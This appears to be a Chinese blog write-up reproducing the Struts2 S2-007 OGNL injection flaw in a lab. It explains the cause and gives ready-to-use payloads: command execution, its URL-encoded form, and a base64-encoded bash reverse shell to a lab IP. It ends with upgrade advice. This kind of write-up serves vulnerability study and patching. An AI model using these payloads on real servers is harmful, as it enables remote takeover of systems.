首页 > 其他分享 >s2-007

s2-007

时间:2023-01-06 18:44:53浏览次数:57  
标签:lang java +% s2 28% 29 007 foo

漏洞名称

S2-007 CVE-2012-0838 远程代码执行

利用条件

Struts 2.0.0 - Struts 2.2.3

漏洞原理

age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。

当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了OGNL语句的执行。

漏洞利用

执行任意命令

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

将poc url编码后发送

修改执行命令的whoami部分

image-20221229155214100

通过在线url编码

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29+%2B+%27

image-20221229155319916

反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}').getInputStream())) + '

特殊字符url编码后发送请求

image-20221229160607888

image-20221229160623551

修复建议

升级到Struts 2.2.3.1

参考文章

https://blog.csdn.net/weixin_51220765/article/details/111175694

https://xz.aliyun.com/t/2684

标签:lang,java,+%,s2,28%,29,007,foo
From: https://www.cnblogs.com/crayonxiaoxin/p/17031351.html

相关文章

  • S2-008
    漏洞名称S2-008(CVE-2012-0392)远程代码执行漏洞利用条件Struts2.0.0-Struts2.3.17漏洞原理S2-008涉及多个漏洞,Cookie拦截器错误配置可造成OGNL表达式执行,但......
  • S2-009 CVE-2011-3923
    漏洞名称CVE-2011-3923S2-009远程代码执行漏洞利用条件Struts2.0.0-Struts2.3.1.1漏洞原理OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过Para......
  • Strus2_Action中访问Web资源
    1.什么是web资源?如:HttpServletRequest,HttpSession,ServletContext等原生的ServletAPI2.为什么访问web资源?B/S架构的应用的controller中,必然需要访问web资源,域对象中读写属性,......
  • S2 - Lesson 15 - Good news
    Words secretsecretary nervous[紧张的]nerveirritable[易怒的]  affordcan/beableto+afford+sth./todosth.Thefirmcouldnotaffordtopaysu......
  • S2 - Lesson 14 - Do you speak English?
    Words amusing experienceanamusingexperience wave liftasksb.foralift replyv.replytosb.  languagethesamelanguagebodylanguage......
  • ros2的cv_bridge库opencv版本不匹配问题
    ros2的cv_bridge库opencv版本不匹配问题问题:libopencv_imgcodecs.so.4.2:cannotopensharedobjectfile:nosuchfileordirectory原因ros安装的时候默认的......
  • cocos2d-x基于windows平台交叉编辑android工程
    cocos2d-x确实是一款优秀的引擎,尽管和正规军的unity3d比起来它显得有点土,但它在移动平台上的性能表现着实惊艳。以下讲解如何将win32工程交叉编译到android平台。 一、环境......
  • IEC60079-11 附录3电气间隙和爬电距离的计算-转载
    (24条消息)IEC60079-11附录3电气间隙和爬电距离的计算_dylanZheng的博客-CSDN博客_爬电距离与电气间隙计算公式......
  • Cocos2d-x windows + vs2010 配置图文详解
    参考:​​http://tieba.baidu.com/p/1461284351​​ 1.下载最新版的cocos2d-x。打开浏览器,输入cocos2d-x.org,然后选择Download,本教程写作时最新版本为cocos2d-1.01-x-0.9.1,......
  • unity和VS2019联调问题解决
    以前使用VS2015和17的时候联调的时候是可以附加到unity进行联调的,今天用的2019发现不可以了。研究了一下是少装了一个插件。装上插件就解决了。过程如下:当前使用VS版本2019......